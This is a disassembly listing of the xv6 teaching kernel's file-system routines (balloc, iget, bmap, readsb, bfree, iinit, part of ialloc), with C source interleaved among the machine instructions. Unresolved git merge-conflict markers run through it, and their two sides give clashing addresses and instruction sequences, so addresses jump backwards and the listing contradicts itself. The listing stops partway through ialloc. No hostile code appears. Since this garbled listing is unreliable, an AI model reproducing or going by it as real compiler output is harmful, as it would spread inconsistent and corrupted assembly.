8010111e: 89 44 24 04 mov %eax,0x4(%esp)
80101122: 8b 45 d8 mov -0x28(%ebp),%eax
80101125: 89 04 24 mov %eax,(%esp)
80101128: e8 a3 ef ff ff call 801000d0 <bread>
8010112d: 89 45 e4 mov %eax,-0x1c(%ebp)
80101130: a1 e0 09 11 80 mov 0x801109e0,%eax
80101135: 89 45 e0 mov %eax,-0x20(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101138: 31 c0 xor %eax,%eax
8010113a: eb 33 jmp 8010116f <balloc+0x7f>
8010113c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101140: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101143: 89 c2 mov %eax,%edx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
80101145: 89 c1 mov %eax,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101147: c1 fa 03 sar $0x3,%edx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
8010114a: 83 e1 07 and $0x7,%ecx
8010114d: bf 01 00 00 00 mov $0x1,%edi
80101152: d3 e7 shl %cl,%edi
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101154: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
80101159: 89 f9 mov %edi,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
8010115b: 0f b6 fb movzbl %bl,%edi
8010115e: 85 cf test %ecx,%edi
80101160: 74 46 je 801011a8 <balloc+0xb8>
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101162: 83 c0 01 add $0x1,%eax
80101165: 83 c6 01 add $0x1,%esi
80101168: 3d 00 10 00 00 cmp $0x1000,%eax
8010116d: 74 05 je 80101174 <balloc+0x84>
8010116f: 3b 75 e0 cmp -0x20(%ebp),%esi
80101172: 72 cc jb 80101140 <balloc+0x50>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
80101174: 8b 45 e4 mov -0x1c(%ebp),%eax
80101177: 89 04 24 mov %eax,(%esp)
8010117a: e8 61 f0 ff ff call 801001e0 <brelse>
{
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
8010117f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp)
80101186: 8b 45 dc mov -0x24(%ebp),%eax
80101189: 3b 05 e0 09 11 80 cmp 0x801109e0,%eax
8010118f: 0f 82 7b ff ff ff jb 80101110 <balloc+0x20>
return b + bi;
}
}
brelse(bp);
}
panic("balloc: out of blocks");
<<<<<<< HEAD
8010117f: 83 ec 0c sub $0xc,%esp
80101182: 68 fb 73 10 80 push $0x801073fb
80101187: e8 e4 f1 ff ff call 80100370 <panic>
8010118c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
bp->data[bi/8] |= m; // Mark block in use.
80101190: 09 fa or %edi,%edx
80101192: 8b 7d e4 mov -0x1c(%ebp),%edi
log_write(bp);
80101195: 83 ec 0c sub $0xc,%esp
=======
80101195: c7 04 24 7b 71 10 80 movl $0x8010717b,(%esp)
8010119c: e8 bf f1 ff ff call 80100360 <panic>
801011a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
bp->data[bi/8] |= m; // Mark block in use.
801011a8: 09 d9 or %ebx,%ecx
801011aa: 8b 5d e4 mov -0x1c(%ebp),%ebx
801011ad: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1)
log_write(bp);
801011b1: 89 1c 24 mov %ebx,(%esp)
801011b4: e8 67 1b 00 00 call 80102d20 <log_write>
brelse(bp);
801011b9: 89 1c 24 mov %ebx,(%esp)
801011bc: e8 1f f0 ff ff call 801001e0 <brelse>
static void
bzero(int dev, int bno)
{
struct buf *bp;
bp = bread(dev, bno);
801011c1: 8b 45 d8 mov -0x28(%ebp),%eax
801011c4: 89 74 24 04 mov %esi,0x4(%esp)
801011c8: 89 04 24 mov %eax,(%esp)
801011cb: e8 00 ef ff ff call 801000d0 <bread>
memset(bp->data, 0, BSIZE);
801011d0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801011d7: 00
801011d8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801011df: 00
static void
bzero(int dev, int bno)
{
struct buf *bp;
bp = bread(dev, bno);
801011e0: 89 c3 mov %eax,%ebx
memset(bp->data, 0, BSIZE);
<<<<<<< HEAD
801011b7: 8d 40 5c lea 0x5c(%eax),%eax
801011ba: 83 c4 0c add $0xc,%esp
801011bd: 68 00 02 00 00 push $0x200
801011c2: 6a 00 push $0x0
801011c4: 50 push %eax
801011c5: e8 76 35 00 00 call 80104740 <memset>
=======
801011e2: 8d 40 5c lea 0x5c(%eax),%eax
801011e5: 89 04 24 mov %eax,(%esp)
801011e8: e8 13 33 00 00 call 80104500 <memset>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
log_write(bp);
801011ed: 89 1c 24 mov %ebx,(%esp)
801011f0: e8 2b 1b 00 00 call 80102d20 <log_write>
brelse(bp);
801011f5: 89 1c 24 mov %ebx,(%esp)
801011f8: e8 e3 ef ff ff call 801001e0 <brelse>
}
}
brelse(bp);
}
panic("balloc: out of blocks");
}
801011fd: 83 c4 2c add $0x2c,%esp
80101200: 89 f0 mov %esi,%eax
80101202: 5b pop %ebx
80101203: 5e pop %esi
80101204: 5f pop %edi
80101205: 5d pop %ebp
80101206: c3 ret
80101207: 89 f6 mov %esi,%esi
80101209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101210 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101210: 55 push %ebp
80101211: 89 e5 mov %esp,%ebp
80101213: 57 push %edi
80101214: 89 c7 mov %eax,%edi
80101216: 56 push %esi
struct inode *ip, *empty;
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
80101217: 31 f6 xor %esi,%esi
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101219: 53 push %ebx
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010121a: bb 34 0a 11 80 mov $0x80110a34,%ebx
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
8010121f: 83 ec 1c sub $0x1c,%esp
struct inode *ip, *empty;
acquire(&icache.lock);
80101222: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101229: 89 55 e4 mov %edx,-0x1c(%ebp)
struct inode *ip, *empty;
acquire(&icache.lock);
<<<<<<< HEAD
80101205: 68 00 0a 11 80 push $0x80110a00
8010120a: e8 01 33 00 00 call 80104510 <acquire>
8010120f: 83 c4 10 add $0x10,%esp
=======
8010122c: e8 4f 31 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101231: 8b 55 e4 mov -0x1c(%ebp),%edx
80101234: eb 14 jmp 8010124a <iget+0x3a>
80101236: 66 90 xchg %ax,%ax
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101238: 85 f6 test %esi,%esi
8010123a: 74 3c je 80101278 <iget+0x68>
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010123c: 81 c3 90 00 00 00 add $0x90,%ebx
80101242: 81 fb 54 26 11 80 cmp $0x80112654,%ebx
80101248: 74 46 je 80101290 <iget+0x80>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
8010124a: 8b 4b 08 mov 0x8(%ebx),%ecx
8010124d: 85 c9 test %ecx,%ecx
8010124f: 7e e7 jle 80101238 <iget+0x28>
80101251: 39 3b cmp %edi,(%ebx)
80101253: 75 e3 jne 80101238 <iget+0x28>
80101255: 39 53 04 cmp %edx,0x4(%ebx)
80101258: 75 de jne 80101238 <iget+0x28>
ip->ref++;
8010125a: 83 c1 01 add $0x1,%ecx
release(&icache.lock);
return ip;
8010125d: 89 de mov %ebx,%esi
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
8010125f: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
80101266: 89 4b 08 mov %ecx,0x8(%ebx)
release(&icache.lock);
<<<<<<< HEAD
80101252: e8 99 34 00 00 call 801046f0 <release>
return ip;
80101257: 83 c4 10 add $0x10,%esp
=======
80101269: e8 42 32 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
ip->ref = 1;
ip->flags = 0;
release(&icache.lock);
return ip;
}
8010126e: 83 c4 1c add $0x1c,%esp
80101271: 89 f0 mov %esi,%eax
80101273: 5b pop %ebx
80101274: 5e pop %esi
80101275: 5f pop %edi
80101276: 5d pop %ebp
80101277: c3 ret
80101278: 85 c9 test %ecx,%ecx
8010127a: 0f 44 f3 cmove %ebx,%esi
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010127d: 81 c3 90 00 00 00 add $0x90,%ebx
80101283: 81 fb 54 26 11 80 cmp $0x80112654,%ebx
80101289: 75 bf jne 8010124a <iget+0x3a>
8010128b: 90 nop
8010128c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(empty == 0 && ip->ref == 0) // Remember empty slot.
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
80101290: 85 f6 test %esi,%esi
80101292: 74 29 je 801012bd <iget+0xad>
panic("iget: no inodes");
ip = empty;
ip->dev = dev;
80101294: 89 3e mov %edi,(%esi)
ip->inum = inum;
80101296: 89 56 04 mov %edx,0x4(%esi)
ip->ref = 1;
80101299: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->flags = 0;
801012a0: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
<<<<<<< HEAD
8010129a: 68 00 0a 11 80 push $0x80110a00
8010129f: e8 4c 34 00 00 call 801046f0 <release>
=======
801012a7: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
801012ae: e8 fd 31 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return ip;
}
801012b3: 83 c4 1c add $0x1c,%esp
801012b6: 89 f0 mov %esi,%eax
801012b8: 5b pop %ebx
801012b9: 5e pop %esi
801012ba: 5f pop %edi
801012bb: 5d pop %ebp
801012bc: c3 ret
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
panic("iget: no inodes");
<<<<<<< HEAD
801012b1: 83 ec 0c sub $0xc,%esp
801012b4: 68 11 74 10 80 push $0x80107411
801012b9: e8 b2 f0 ff ff call 80100370 <panic>
801012be: 66 90 xchg %ax,%ax
=======
801012bd: c7 04 24 91 71 10 80 movl $0x80107191,(%esp)
801012c4: e8 97 f0 ff ff call 80100360 <panic>
801012c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
801012d0 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
801012d0: 55 push %ebp
801012d1: 89 e5 mov %esp,%ebp
801012d3: 57 push %edi
801012d4: 56 push %esi
801012d5: 53 push %ebx
801012d6: 89 c3 mov %eax,%ebx
801012d8: 83 ec 1c sub $0x1c,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
801012db: 83 fa 0b cmp $0xb,%edx
801012de: 77 18 ja 801012f8 <bmap+0x28>
801012e0: 8d 34 90 lea (%eax,%edx,4),%esi
if((addr = ip->addrs[bn]) == 0)
801012e3: 8b 46 5c mov 0x5c(%esi),%eax
801012e6: 85 c0 test %eax,%eax
801012e8: 74 66 je 80101350 <bmap+0x80>
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
801012ea: 83 c4 1c add $0x1c,%esp
801012ed: 5b pop %ebx
801012ee: 5e pop %esi
801012ef: 5f pop %edi
801012f0: 5d pop %ebp
801012f1: c3 ret
801012f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
return addr;
}
bn -= NDIRECT;
801012f8: 8d 72 f4 lea -0xc(%edx),%esi
if(bn < NINDIRECT){
801012fb: 83 fe 7f cmp $0x7f,%esi
801012fe: 77 77 ja 80101377 <bmap+0xa7>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
80101300: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
80101306: 85 c0 test %eax,%eax
80101308: 74 5e je 80101368 <bmap+0x98>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
8010130a: 89 44 24 04 mov %eax,0x4(%esp)
8010130e: 8b 03 mov (%ebx),%eax
80101310: 89 04 24 mov %eax,(%esp)
80101313: e8 b8 ed ff ff call 801000d0 <bread>
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
80101318: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx
if(bn < NINDIRECT){
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
8010131c: 89 c7 mov %eax,%edi
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
8010131e: 8b 32 mov (%edx),%esi
80101320: 85 f6 test %esi,%esi
80101322: 75 19 jne 8010133d <bmap+0x6d>
a[bn] = addr = balloc(ip->dev);
80101324: 8b 03 mov (%ebx),%eax
80101326: 89 55 e4 mov %edx,-0x1c(%ebp)
80101329: e8 c2 fd ff ff call 801010f0 <balloc>
8010132e: 8b 55 e4 mov -0x1c(%ebp),%edx
80101331: 89 02 mov %eax,(%edx)
80101333: 89 c6 mov %eax,%esi
log_write(bp);
80101335: 89 3c 24 mov %edi,(%esp)
80101338: e8 e3 19 00 00 call 80102d20 <log_write>
}
brelse(bp);
8010133d: 89 3c 24 mov %edi,(%esp)
80101340: e8 9b ee ff ff call 801001e0 <brelse>
return addr;
}
panic("bmap: out of range");
}
80101345: 83 c4 1c add $0x1c,%esp
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
a[bn] = addr = balloc(ip->dev);
log_write(bp);
}
brelse(bp);
80101348: 89 f0 mov %esi,%eax
return addr;
}
panic("bmap: out of range");
}
8010134a: 5b pop %ebx
8010134b: 5e pop %esi
8010134c: 5f pop %edi
8010134d: 5d pop %ebp
8010134e: c3 ret
8010134f: 90 nop
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
80101350: 8b 03 mov (%ebx),%eax
80101352: e8 99 fd ff ff call 801010f0 <balloc>
80101357: 89 46 5c mov %eax,0x5c(%esi)
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
8010135a: 83 c4 1c add $0x1c,%esp
8010135d: 5b pop %ebx
8010135e: 5e pop %esi
8010135f: 5f pop %edi
80101360: 5d pop %ebp
80101361: c3 ret
80101362: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bn -= NDIRECT;
if(bn < NINDIRECT){
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101368: 8b 03 mov (%ebx),%eax
8010136a: e8 81 fd ff ff call 801010f0 <balloc>
8010136f: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx)
80101375: eb 93 jmp 8010130a <bmap+0x3a>
}
brelse(bp);
return addr;
}
panic("bmap: out of range");
<<<<<<< HEAD
80101377: 83 ec 0c sub $0xc,%esp
8010137a: 68 21 74 10 80 push $0x80107421
8010137f: e8 ec ef ff ff call 80100370 <panic>
80101384: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010138a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
=======
80101377: c7 04 24 a1 71 10 80 movl $0x801071a1,(%esp)
8010137e: e8 dd ef ff ff call 80100360 <panic>
80101383: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80101390 <readsb>:
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
80101390: 55 push %ebp
80101391: 89 e5 mov %esp,%ebp
80101393: 56 push %esi
80101394: 53 push %ebx
80101395: 83 ec 10 sub $0x10,%esp
struct buf *bp;
bp = bread(dev, 1);
80101398: 8b 45 08 mov 0x8(%ebp),%eax
8010139b: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
801013a2: 00
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
801013a3: 8b 75 0c mov 0xc(%ebp),%esi
struct buf *bp;
bp = bread(dev, 1);
801013a6: 89 04 24 mov %eax,(%esp)
801013a9: e8 22 ed ff ff call 801000d0 <bread>
memmove(sb, bp->data, sizeof(*sb));
801013ae: 89 34 24 mov %esi,(%esp)
801013b1: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp)
801013b8: 00
void
readsb(int dev, struct superblock *sb)
{
struct buf *bp;
bp = bread(dev, 1);
801013b9: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
<<<<<<< HEAD
801013a7: 8d 40 5c lea 0x5c(%eax),%eax
801013aa: 83 c4 0c add $0xc,%esp
801013ad: 6a 1c push $0x1c
801013af: 50 push %eax
801013b0: 56 push %esi
801013b1: e8 3a 34 00 00 call 801047f0 <memmove>
=======
801013bb: 8d 40 5c lea 0x5c(%eax),%eax
801013be: 89 44 24 04 mov %eax,0x4(%esp)
801013c2: e8 d9 31 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
brelse(bp);
801013c7: 89 5d 08 mov %ebx,0x8(%ebp)
}
801013ca: 83 c4 10 add $0x10,%esp
801013cd: 5b pop %ebx
801013ce: 5e pop %esi
801013cf: 5d pop %ebp
{
struct buf *bp;
bp = bread(dev, 1);
memmove(sb, bp->data, sizeof(*sb));
brelse(bp);
801013d0: e9 0b ee ff ff jmp 801001e0 <brelse>
801013d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801013d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801013e0 <bfree>:
}
// Free a disk block.
static void
bfree(int dev, uint b)
{
801013e0: 55 push %ebp
801013e1: 89 e5 mov %esp,%ebp
801013e3: 57 push %edi
801013e4: 89 d7 mov %edx,%edi
801013e6: 56 push %esi
801013e7: 53 push %ebx
801013e8: 89 c3 mov %eax,%ebx
801013ea: 83 ec 1c sub $0x1c,%esp
struct buf *bp;
int bi, m;
readsb(dev, &sb);
801013ed: 89 04 24 mov %eax,(%esp)
801013f0: c7 44 24 04 e0 09 11 movl $0x801109e0,0x4(%esp)
801013f7: 80
801013f8: e8 93 ff ff ff call 80101390 <readsb>
bp = bread(dev, BBLOCK(b, sb));
801013fd: 89 fa mov %edi,%edx
801013ff: c1 ea 0c shr $0xc,%edx
80101402: 03 15 f8 09 11 80 add 0x801109f8,%edx
80101408: 89 1c 24 mov %ebx,(%esp)
bi = b % BPB;
m = 1 << (bi % 8);
8010140b: bb 01 00 00 00 mov $0x1,%ebx
{
struct buf *bp;
int bi, m;
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
80101410: 89 54 24 04 mov %edx,0x4(%esp)
80101414: e8 b7 ec ff ff call 801000d0 <bread>
bi = b % BPB;
m = 1 << (bi % 8);
80101419: 89 f9 mov %edi,%ecx
struct buf *bp;
int bi, m;
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
8010141b: 81 e7 ff 0f 00 00 and $0xfff,%edi
80101421: 89 fa mov %edi,%edx
m = 1 << (bi % 8);
80101423: 83 e1 07 and $0x7,%ecx
if((bp->data[bi/8] & m) == 0)
80101426: c1 fa 03 sar $0x3,%edx
int bi, m;
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
80101429: d3 e3 shl %cl,%ebx
{
struct buf *bp;
int bi, m;
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
8010142b: 89 c6 mov %eax,%esi
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
8010142d: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax
80101432: 0f b6 c8 movzbl %al,%ecx
80101435: 85 d9 test %ebx,%ecx
80101437: 74 20 je 80101459 <bfree+0x79>
panic("freeing free block");
bp->data[bi/8] &= ~m;
80101439: f7 d3 not %ebx
8010143b: 21 c3 and %eax,%ebx
8010143d: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1)
log_write(bp);
80101441: 89 34 24 mov %esi,(%esp)
80101444: e8 d7 18 00 00 call 80102d20 <log_write>
brelse(bp);
80101449: 89 34 24 mov %esi,(%esp)
8010144c: e8 8f ed ff ff call 801001e0 <brelse>
}
80101451: 83 c4 1c add $0x1c,%esp
80101454: 5b pop %ebx
80101455: 5e pop %esi
80101456: 5f pop %edi
80101457: 5d pop %ebp
80101458: c3 ret
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
panic("freeing free block");
<<<<<<< HEAD
80101443: 83 ec 0c sub $0xc,%esp
80101446: 68 34 74 10 80 push $0x80107434
8010144b: e8 20 ef ff ff call 80100370 <panic>
=======
80101459: c7 04 24 b4 71 10 80 movl $0x801071b4,(%esp)
80101460: e8 fb ee ff ff call 80100360 <panic>
80101465: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101469: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80101470 <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(int dev)
{
80101470: 55 push %ebp
80101471: 89 e5 mov %esp,%ebp
80101473: 53 push %ebx
80101474: bb 40 0a 11 80 mov $0x80110a40,%ebx
80101479: 83 ec 24 sub $0x24,%esp
int i = 0;
initlock(&icache.lock, "icache");
<<<<<<< HEAD
8010145c: 68 47 74 10 80 push $0x80107447
80101461: 68 00 0a 11 80 push $0x80110a00
80101466: e8 85 30 00 00 call 801044f0 <initlock>
8010146b: 83 c4 10 add $0x10,%esp
8010146e: 66 90 xchg %ax,%ax
for(i = 0; i < NINODE; i++) {
initsleeplock(&icache.inode[i].lock, "inode");
80101470: 83 ec 08 sub $0x8,%esp
80101473: 68 4e 74 10 80 push $0x8010744e
80101478: 53 push %ebx
80101479: 81 c3 90 00 00 00 add $0x90,%ebx
8010147f: e8 5c 2f 00 00 call 801043e0 <initsleeplock>
=======
8010147c: c7 44 24 04 c7 71 10 movl $0x801071c7,0x4(%esp)
80101483: 80
80101484: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
8010148b: e8 70 2e 00 00 call 80104300 <initlock>
for(i = 0; i < NINODE; i++) {
initsleeplock(&icache.inode[i].lock, "inode");
80101490: 89 1c 24 mov %ebx,(%esp)
80101493: 81 c3 90 00 00 00 add $0x90,%ebx
80101499: c7 44 24 04 ce 71 10 movl $0x801071ce,0x4(%esp)
801014a0: 80
801014a1: e8 4a 2d 00 00 call 801041f0 <initsleeplock>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
iinit(int dev)
{
int i = 0;
initlock(&icache.lock, "icache");
for(i = 0; i < NINODE; i++) {
801014a6: 81 fb 60 26 11 80 cmp $0x80112660,%ebx
801014ac: 75 e2 jne 80101490 <iinit+0x20>
initsleeplock(&icache.inode[i].lock, "inode");
}
readsb(dev, &sb);
801014ae: 8b 45 08 mov 0x8(%ebp),%eax
801014b1: c7 44 24 04 e0 09 11 movl $0x801109e0,0x4(%esp)
801014b8: 80
801014b9: 89 04 24 mov %eax,(%esp)
801014bc: e8 cf fe ff ff call 80101390 <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
<<<<<<< HEAD
8010149f: ff 35 f8 09 11 80 pushl 0x801109f8
801014a5: ff 35 f4 09 11 80 pushl 0x801109f4
801014ab: ff 35 f0 09 11 80 pushl 0x801109f0
801014b1: ff 35 ec 09 11 80 pushl 0x801109ec
801014b7: ff 35 e8 09 11 80 pushl 0x801109e8
801014bd: ff 35 e4 09 11 80 pushl 0x801109e4
801014c3: ff 35 e0 09 11 80 pushl 0x801109e0
801014c9: 68 a4 74 10 80 push $0x801074a4
801014ce: e8 8d f1 ff ff call 80100660 <cprintf>
=======
801014c1: a1 f8 09 11 80 mov 0x801109f8,%eax
801014c6: c7 04 24 24 72 10 80 movl $0x80107224,(%esp)
801014cd: 89 44 24 1c mov %eax,0x1c(%esp)
801014d1: a1 f4 09 11 80 mov 0x801109f4,%eax
801014d6: 89 44 24 18 mov %eax,0x18(%esp)
801014da: a1 f0 09 11 80 mov 0x801109f0,%eax
801014df: 89 44 24 14 mov %eax,0x14(%esp)
801014e3: a1 ec 09 11 80 mov 0x801109ec,%eax
801014e8: 89 44 24 10 mov %eax,0x10(%esp)
801014ec: a1 e8 09 11 80 mov 0x801109e8,%eax
801014f1: 89 44 24 0c mov %eax,0xc(%esp)
801014f5: a1 e4 09 11 80 mov 0x801109e4,%eax
801014fa: 89 44 24 08 mov %eax,0x8(%esp)
801014fe: a1 e0 09 11 80 mov 0x801109e0,%eax
80101503: 89 44 24 04 mov %eax,0x4(%esp)
80101507: e8 44 f1 ff ff call 80100650 <cprintf>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
inodestart %d bmap start %d\n", sb.size, sb.nblocks,
sb.ninodes, sb.nlog, sb.logstart, sb.inodestart,
sb.bmapstart);
}
8010150c: 83 c4 24 add $0x24,%esp
8010150f: 5b pop %ebx
80101510: 5d pop %ebp
80101511: c3 ret
80101512: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101520 <ialloc>:
//PAGEBREAK!
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
80101520: 55 push %ebp
80101521: 89 e5 mov %esp,%ebp
80101523: 57 push %edi
80101524: 56 push %esi
80101525: 53 push %ebx
80101526: 83 ec 2c sub $0x2c,%esp
80101529: 8b 45 0c mov 0xc(%ebp),%eax
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010152c: 83 3d e8 09 11 80 01 cmpl $0x1,0x801109e8
//PAGEBREAK!
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
80101533: 8b 7d 08 mov 0x8(%ebp),%edi
80101536: 89 45 e4 mov %eax,-0x1c(%ebp)
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
80101539: 0f 86 a2 00 00 00 jbe 801015e1 <ialloc+0xc1>
8010153f: be 01 00 00 00 mov $0x1,%esi
80101544: bb 01 00 00 00 mov $0x1,%ebx
80101549: eb 1a jmp 80101565 <ialloc+0x45>
8010154b: 90 nop
8010154c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
